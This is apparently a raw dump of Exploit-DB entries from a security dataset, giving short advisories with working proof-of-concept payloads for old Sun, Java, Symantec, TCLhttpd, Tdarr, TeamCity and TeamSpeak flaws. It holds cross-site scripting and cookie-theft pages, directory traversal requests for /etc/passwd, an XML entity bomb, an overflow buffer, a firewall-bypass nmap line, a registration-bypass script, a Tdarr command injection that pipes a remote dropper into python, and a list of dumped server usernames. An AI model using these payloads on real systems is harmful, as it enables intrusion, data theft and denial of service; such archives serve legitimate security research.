deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31901
Description: Sun GlassFish 2.1 - 'name' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2008-06-10
Author: Eduardo Neves

Exploit:
source: https://www.securityfocus.com/bid/29646/info

Sun Glassfish is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/configuration/httpListenerEdit.jsf?name=<IMG SRC=javascript:alert(&#039;DSecRG_XSS&#039;)>&configName=server-config
Exploit-DB #20322
Description: Sun HotJava Browser 3 - Arbitrary DOM Access
Type: remote
Platform: multiple
Date: 2000-10-25
Author: Georgi Guninski

Exploit:
source: https://www.securityfocus.com/bid/1837/info

A malicious website operator may be able to obtain cookies from a target system browsing with Sun HotJava Browser. 

The Document Object Model (DOM) of arbitrary URLs can be accessed if a specially formed javascript is launched from a named window. Cookies that may contain sensitive information can be acquired through this method.

<HTML>
<HEAD>
<TITLE>
Demo - HotJava Browser 3.0 JavaScript security vulnerability
</TITLE>
</HEAD>
<BODY>
Demo - HotJava Browser 3.0 JavaScript security vulnerability
<BR>
This page shows the cookie and the first link from from www.sun.com in 10 seconds
<BR>
Written by Georgi Guninski
<BR>

<SCRIPT>
window.open("http://www.sun.com","g");
setTimeout("window.open('javascript:alert(\"The first link is: \"+document.links[0].href);alert(\"The cookie is: \"+document.cookie)','g')",10000);
</SCRIPT>

<center>(C) Copyright 2000 Georgi Guninski</center>
<BR>
<center>
| <a href="http://www.guninski.com">Home</a> | 
<a href="browsers.html">Internet Explorer</a> | 
<a href="win2k.html">Windows 2000</a> | 
<a href="exploit.html">AIX</a> | 
<a href="netscape.html">Netscape</a> | 
<a href="greets.html">Greets</a> | 
<a href="index.html">More...</a> | 
</center>
</BODY>
</HTML>
Exploit-DB #24148
Description: Sun Java System Application Server 7.0/8.0 - Remote Installation Full Path Disclosure
Type: remote
Platform: multiple
Date: 2004-05-27
Author: Marc Schoenefeld

Exploit:
source: https://www.securityfocus.com/bid/10424/info

It is reported that Java System Application Server is prone to a remote installation path disclosure vulnerability. This issue is due to a failure of the application to properly filter user requests.

Successful exploitation of this issue may allow an attacker to gain sensitive information about the file system that may aid in launching more direct attacks against the system. 

http://www.example.com:8080////
http://www.example.com:8080////CON
Exploit-DB #33553
Description: Sun Java System Web Server 6.1/7.0 - Digest Authentication Remote Buffer Overflow
Type: remote
Platform: multiple
Date: 2010-01-21
Author: Intevydis

Exploit:
source: https://www.securityfocus.com/bid/37896/info

Sun Java System Web Server is prone to a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

The issues affects the following:

Sun Java System Web Server 7.0 without Update Release 8
Sun Java System Web Server 6.1 without Service Pack 12
Sun Java System Web Proxy Server 4.0 without Service pack 13 

buf = "PUT / HTTP/1.0\n"
buf += "Authorization: Digest "
buf += "ABCD,"*1000
buf += "\n\n"
Exploit-DB #24264
Description: Sun Java Virtual Machine 1.x - 'Font.createFont' Method Insecure Temporary File Creation
Type: remote
Platform: multiple
Date: 2004-07-09
Author: Jelmer

Exploit:
source: https://www.securityfocus.com/bid/10685/info

Sun Java Virtual Machine is a component of the Sun Java infrastructure that performs the handling of Java applets and other programs. It is available for Unix, Linux, and Microsoft platforms. 

Sun Java Virtual Machine is prone to an insecure temporary file creation weakness. It is reported that this file is created by the 'Font.createFont' method with the following name:

+~JFxxxxx.tmp

where xxxxx is a random number.

This issue can be combined with various other vulnerabilities in Internet Explorer to ultimately allow for code execution on a vulnerable computer.

import java.applet.Applet;

import java.awt.Font;

import java.net.URL;

import netscape.javascript.JSObject;



public class Jelmer extends Applet {



public void init() {



try {

Font f = Font.createFont(Font.TRUETYPE_FONT, new
URL(getParameter("infile")).openStream());

} catch(Exception ignored) {}



try {

JSObject jsWin = JSObject.getWindow(this);

jsWin.call("doneloading", new Object[]{});



} catch(Exception e) {

e.printStackTrace();

}

}

}
Exploit-DB #20095
Description: Sun Java Web Server 1.1.3/2.0 Servlets - information Disclosure
Type: remote
Platform: multiple
Date: 2000-07-20
Author: kevin j

Exploit:
source: https://www.securityfocus.com/bid/1498/info

The servlet sunexamples.RealmDumpServlet, which is packaged by Default with Sun's Java Web Server, can be used to discover ACLs and local users on the server. 

http://javawebserver.com/pservlet.html

User: sherwin

User: floorsoft

User: shaw

User: sears

User: beaulieu

User: diyonline

User: chicken

User: homedepot

User: abbey

User: goodhome

User: design1

User: 121312

User: buildnet

User: lowes

User: admin

User: emmitt

User: tms

User: ifloor

User: jeeves

^-------------------- default user / pass for web server

User: gerald

User: dixie

User: homeportfolio

User: buildscape

User: chuck

http://javawebserver/servlet/sunexamples.RealmDumpServlet

http://javawebserver:8080/servlet/sunexamples.RealmDumpServlet#Realm-NT



Individual Users:


User: brianw, home = \\aussie\home\brianw

User: chabell, home = \\aussie\home\chabell

User: davisons, home = \\aussie\home\davisons

User: exchadmin, home =

User: IUSR_AUSSIE, home =

User: IWAM_AUSSIE, home =

User: jd, home = \\aussie\home\jd

User: kkl, home = \\aussie\home\kkl

User: lisamh, home = \\aussie\home\lisamh

User: mattix, home = \\aussie\home\mattix

User: maxadmin, home = \\aussie\home\maxadmin

User: maxdev, home = \\aussie\home\maxdev

User: maxguest, home =

User: mcgreer, home = \\aussie\home\mcgreer

User: mdavis, home = \\aussie\home\mdavis

User: nbrathod, home = \\aussie\home\nbrathod

User: prnees, home = \\aussie\home\prnees

User: renee, home = \\aussie\home\renee

User: smcelder, home = \\aussie\home\smcelder

User: SQLAgentCmdExec, home = H:


http://javawebserver/servlet/sunexamples.RealmDumpServlet#Users-UNIX

Individual Users:


User: root, home = /

User: daemon, home = /

User: bin, home = /usr/bin

User: sys, home = /

User: adm, home = /var/adm

User: lp, home = /usr/spool/lp

User: uucp, home = /usr/lib/uucp

User: nuucp, home = /var/spool/uucppublic

User: listen, home = /usr/net/nls

User: nobody, home = /

User: noaccess, home = /

User: nobody4, home = /

User: mc, home = /space/u/mc
Exploit-DB #32529
Description: Sun Java Web Start 1.0/1.2 - Remote Command Execution
Type: remote
Platform: multiple
Date: 2008-10-25
Author: Varun Srivastava

Exploit:
source: https://www.securityfocus.com/bid/31916/info

Sun Java Web Start is prone to a remote command-execution vulnerability.

Successful exploits may allow attackers to execute arbitrary commands on an unsuspecting user's computer. This may aid in further attacks.

We don't know which versions of Java Web Start are affected. We will update this BID when more information is released. 

BasicService basicService = (BasicService)    ServiceManager.lookup("javax.jnlp.BasicService");

URL mike = new URL("file:\\C:\\music.rm");

basicService.showDocument(mike);
Exploit-DB #25395
Description: Sun JavaMail 1.3.2 - 'MimeBodyPart.getFileName' Directory Traversal
Type: remote
Platform: multiple
Date: 2005-04-12
Author: Rafael San Miguel Carrasco

Exploit:
source: https://www.securityfocus.com/bid/13141/info

Sun JavaMail is prone to a directory traversal vulnerability. This arises because the API fails to properly validate filenames in email attachments received by the applet.

This issue was reported to affect JavaMail 1.3.2, however, earlier versions may also be vulnerable. 

Content-Disposition: ../../../file.ext
Exploit-DB #20139
Description: Sun JDK 1.1.x / Sun JRE 1.1.x - Listening Socket
Type: remote
Platform: multiple
Date: 2000-08-03
Author: Alexey Yarovinsky

Exploit:
source: https://www.securityfocus.com/bid/1545/info

A set of flaws in multiple vendors' Java implementation allows a malicious applet to open a listening socket to accept network connections against the security policy.

Java applications use the java.net.ServerSocket class to create a listening network socket on which to accept network connections. The server socket class should use the SecurityManager.checkListen() method to determine whether a class is allowed to create a server side listening socket. A SecurityException should be thrown if the class is not allowed to create such socket. By default untrusted classes such as applets should not be allowed to create such sockets. The implementation of Java fails to throw a SecurityException when an applet create a ServerSocket.

After a ServerSocket object has been created an application must accept network connections by called the ServerSocket.accept() method or by subclassing the ServerSocket class an using the ServerSocket.implAccept() method of ServerSocket to implement their own accept method. The ServerSocket.accept() method normally calls the SecurityManager.checkAccept() method to determine if a class can accept a server connection.

The ServerSocket.accept() and the ServerSocket.implAccept() methods both accept the network connection before determining if the class can accept the connection. This is done to determine the remote address and remote port number of the connection. If the connection should not be accepted these methods shutdown the connection by calling the socket's Socket.close() method, and then throwing a SecurityException.

Because the ServerSocket.implAccept() method takes as an argument a Socket object to use for the connection a malicious class can pass it an object which is subclass of the Socket class that overloads its close() method not to close the socket. By then ignoring the SecurityException the malicious class can now accept the connection and make use of the socket.

Sun's implementation of the ServerSocket.implAccept() method seems to have closed the second vulnerability by calling the Socket.impl.close() method instead of the Socket.close() method.

By combining these two flaws a malicious applet can accept connections from any host.

Both Netscape and Microsoft Java Virtual Machines are affected by this vulnerability, however in Microsoft products the file: URL type will not be effective in reading files, meaning that only web-available documents can be retreived via this method. However, the file: method will verify the existence of a file. It will check to see if the file exists and if it does not, it will return a SecurityException error message. Netscape browsers will pass both web documents and local files to the attacker. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20140.tar.gz
Exploit-DB #22994
Description: Sun One 5.1 / IPlanet 5.0/5.1 - Administration Server Directory Traversal
Type: remote
Platform: multiple
Date: 2003-08-08
Author: Jim Hardisty

Exploit:
source: https://www.securityfocus.com/bid/8367/info

A problem in the checking of input by the Sun ONE Administration Server may lead to remote users escaping into restricted directories. This may allow an attacker to gain access to information that is sensitive in nature.

http://www.example.com:5000/admin-serv/tasks/configuration/ViewLog?file=passwd&num=5000&str=&directories=admin-serv%2Flogs%2f..%2f..%2f..%2f..%2f..%2f..%2fetc&id=admin-serv
Exploit-DB #22178
Description: Sun ONE Unified Development Server 5.0 - Recursive Document Type Definition
Type: remote
Platform: multiple
Date: 2003-01-15
Author: Sun Microsystems

Exploit:
source: https://www.securityfocus.com/bid/6626/info

It has been reported that problems with the handling of recursive document type definitions (DTDs) occur in Sun ONE Unified Development Server (UDS). When a document is uploaded containing these types of constructs, the system experiences high resource consumption that can result in crash of the system, and denial of service to legitimate users.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foobar [
<!ENTITY x0 "hello">
<!ENTITY x1 "&x0;&x0;">
<!ENTITY x2 "&x1;&x1;">
<!ENTITY x3 "&x2;&x2;">
<!ENTITY x4 "&x3;&x3;">
...
<!ENTITY x98 "&x97;&x97;">
<!ENTITY x99 "&x98;&x98;">
<!ENTITY x100 "&x99;&x99;">
]>
<foobar>&x100;</foobar>
Exploit-DB #22029
Description: Sun/Netscape Java Virtual Machine1.x - Bytecode Verifier
Type: remote
Platform: multiple
Date: 2002-11-21
Author: Last Stage of Delirium

Exploit:
source: https://www.securityfocus.com/bid/6224/info

A vulnerability in the Sun and Netscape Java Virtual Machine has been reported. The vulnerability is related to the bytecode verifier, a component of the Java compiler that ensures legal structure of Java instructions. According to the report, it is possible to construct bytecode that will cause objects to be instantiated without proper initialization. One known method of exploiting this vulnerability can allow for read/write access to system files despite the security constraints of the Applet sandbox.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22029-1.tar.gz

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22029-2.tar.gz

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22029-3.tar.gz

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22029-4.tar.gz
Exploit-DB #23024
Description: SurgeLDAP 1.0 d - Full Path Disclosure
Type: remote
Platform: multiple
Date: 2003-08-13
Author: Ziv Kamir

Exploit:
source: https://www.securityfocus.com/bid/8406/info

SurgeLDAP is prone to a path disclosure vulnerability. It is possible to gain access to sensitive path information by issuing an HTTP GET request for an invalid resource.

This issue exists in the web server component of SurgeLDAP.

http://www.example.com:6680/aaa.html
Exploit-DB #22200
Description: SyGate 5.0 - Insecure UDP Source Port Firewall Bypass Weak Default Configuration
Type: remote
Platform: multiple
Date: 2003-01-24
Author: David FernÃ¡ndez

Exploit:
source: https://www.securityfocus.com/bid/6684/info

It has been reported that the Sygate Pro firewall permits traffic originating from UDP source port 137 or 138 by default. This may allow a remote attacker to bypass the firewall.

nmap -vv -P0 -sU %victims_ip_address% -g 137
Exploit-DB #27852
Description: Symantec Enterprise Firewall / Gateway Security - HTTP Proxy Internal IP Leakage
Type: remote
Platform: multiple
Date: 2006-05-10
Author: Bernhard Mueller

Exploit:
source: https://www.securityfocus.com/bid/17936/info

Symantec Enterprise Firewall and Gateway Security products are prone to an information-disclosure weakness. 

The vendor has reported that the NAT/HTTP proxy component of the products may reveal the internal IP addresses of protected computers. 

An attacker may use this information to carry out targeted attacks against a potentially vulnerable host.

#!/usr/bin/perl
# [title] raptor firewall internal IP disclosure 'exploit'
# [mailto] research [at] sec-consult [dot} com
#
# sk0L@b4byl0n:~/home/sk0L> perl raptor-nat.pl behind.raptor.com
# waiting for timeout (this can take about 1 min.)
# behind.raptor.com: 10.238.94.67

use IO::Socket;

$| = 1;

$host = $ARGV[0] or die "$0 <host>\n";

$request = "getXXX/XXX HTTP/1.0\n\n";

my $sock = new IO::Socket::INET (
                 PeerAddr => $host,
                 PeerPort => 80,
                 Proto => 'tcp',
);

die "could not open socket: $!\n" unless $sock;

print $sock $request;

print "waiting for timeout (this can take about 1 min.)\n";

while (<$sock>) {
                 if ($_ =~ /http:\/\/(\d+\.\d+\.\d+\.\d+)XXX/) {
                                 $ip = $1;
                 }
}

if (defined($ip)) {
                 print "$host: $ip\n";
} else {
                 print "failed.\n";
}

close($sock);
Exploit-DB #19644
Description: symantec mail-gear 1.0 - Directory Traversal
Type: remote
Platform: multiple
Date: 1999-11-29
Author: Ussr Labs

Exploit:
source: https://www.securityfocus.com/bid/827/info

Mail-Gear, a multi-purpose filtering email server, includes a webserver for remote administration and email retrieval. This webserver is vulnerable to the '../' directory traversal attack. By including the string '../' in the URL, remote attackers can gain read access to all files on the filesystem that the server has read access to. 


http: //target.host:8003/Display?what=../../../../../autoexec.bat
will display the server's autoexec.bat in a default NT installation.
Exploit-DB #23173
Description: TCLhttpd 3.4.2 - Directory Listing Disclosure
Type: remote
Platform: multiple
Date: 2003-09-24
Author: Phuong Nguyen

Exploit:
source: https://www.securityfocus.com/bid/8687/info

It has been reported that a vulnerability present in TCLHttpd allows for attackers to view the contents of arbitrary directories on affected web servers. According to the report, the input validation implemented to protect against this is inadequate and can be evaded easily by specifying the absolute path of the requested directory.

The discoverer of this vulnerability has stated that version 3.4.2 is affected. It is likely that prior versions are also vulnerable. 

http://example/images/?pattern=/*&sort=name
Exploit-DB #23174
Description: TCLHttpd 3.4.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: multiple
Date: 2003-09-24
Author: Phuong Nguyen

Exploit:
source: https://www.securityfocus.com/bid/8688/info

It has been reported that several of the modules included with TCLHTtpd are vulnerable to cross-site scripting attacks. According to the report, the Status, Debug, Mail and Admin modules are affected by these vulnerabilities. Four instances of this vulnerability have been pointed out, all appearing to be in the Debug module. These vulnerabilities may allow an attacker to execute script code in the context of another client session. Cookie theft and content modification attacks are possible.

The discoverer of this vulnerability has stated that version 3.4.2 is affected. It is likely that prior versions are also vulnerable. 

http://example/debug/echo?name=<script>alert('hello');</script>
http://example/debug/dbg?host=<script>alert('hello');</script>
http://example/debug/showproc?proc=<script>alert('hello');</script>
http://example/debug/errorInfo?title=<script>alert('hello');</script>
Exploit-DB #50822
Description: Tdarr 2.00.15 - Command Injection
Type: remote
Platform: multiple
Date: 2022-03-11
Author: Sam Smith

Exploit:
# Exploit Title: Tdarr 2.00.15 - Command Injection
# Date: 10/03/2022
# Exploit Author: Sam Smith
# Vendor Homepage: https://tdarr.io
# Software Link: https://f000.backblazeb2.com/file/tdarrs/versions/2.00.15/linux_arm64/Tdarr_Server.zip
# Version: 2.00.15 (likely also older versions)
# Tested on: 2.00.15

Exploit:

The Help tab contains a terminal for both FFmpeg and HandBrake. These terminals do not include input filtering which allows the user to chain commands and spawn a reverse shell.

eg. `--help; curl http://192.168.0.2/dropper.py | python` or `--help;whoami;cat /etc/passwd`.

Tdarr is not protected by any auth by default and no credentials are required to trigger RCE
Exploit-DB #46514
Description: TeamCity < 9.0.2 - Disabled Registration Bypass
Type: remote
Platform: multiple
Date: 2018-03-28
Author: allyshka

Exploit:
var login = 'testuser'; //логин пользователя
var [CREDENTIAL_REDACTED]'; //пароль
var email = 'testusername654@mailinater.com'; // email
/* Code */
var b = BS.LoginForm;
var public_key = $F("publicKey");
var encrypted_pass = BS.Encrypt.encryptData(password, $F("publicKey"));
var parameters = 'username1='+login+'&email='+encodeURIComponent(email)+'&submitCreateUser=&publicKey='+public_key+'&encryptedPassword1='+encrypted_pass+'&encryptedRetypedPassword='+encrypted_pass;
var c = OO.extend(BS.ErrorsAwareListener, {
            onDuplicateAccountError: function(b) {
                alert(b.firstChild.nodeValue);
            },
            onMaxNumberOfUserAccountsReachedError: function(b) {
                alert(b.firstChild.nodeValue);
            },
            onCreateUserError: function(b) {
                alert(b.firstChild.nodeValue);
            },
            onCompleteSave: function(c, d, b) {
                BS.ErrorsAwareListener.onCompleteSave(c, d, b);
                if (!b) {
                    BS.XMLResponse.processRedirect(d);
                }
            }
        });
BS.ajaxRequest("registerUserSubmit.html", {
                method: "post",
                parameters: parameters,
                onComplete: function(i) {
                    if (!i.responseXML) {
                        alert(i.responseText);
                    } else {
                        var h = i.responseXML;
                        var e = BS.XMLResponse.processErrors(h, c);
                        console.log(i.responseText);
                        c.onCompleteSave(b, h, e, i.responseText);
                    }
                },
                onFailure: function(i) {
                    console.log(i);
                },
                onException: function(i, h) {
                    console.log(i);
                }
            });
Exploit-DB #30025
Description: TeamSpeak Server 2.0.23 (Multiple Scripts) - Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: multiple
Date: 2007-05-11
Author: Gilberto Ficara

Exploit:
source: https://www.securityfocus.com/bid/23933/info

TeamSpeak Server is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

TeamSpeak Server 2.0.20.1 is vulnerable; other versions may also be affected. 

http://www.example.com:14534/error_box.html?error_title=session expired - please login&error_text=<form action="http://127.0.0.1:31338/own.cgi">User:<inputtype="text"><br>Pass: <input type="password"><br><br><input type="submit"></form>&error_url=index.html http://www.example.com:14534/ok_box.html?ok_title=%3Cscript%3Ealert('hello')%3C/script%3E
Exploit-DB #25205
Description: Techland XPand Rally 1.0/1.1 - Remote Format String
Type: remote
Platform: multiple
Date: 2005-03-10
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/12772/info

A remote format string vulnerability affects XPand Rally. This issue is due to a failure of the application to securely call a formatted printing function.

An attacker may leverage this issue to execute arbitrary code with the privileges of an unsuspecting user that activated the vulnerable server or client application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25574-1.zip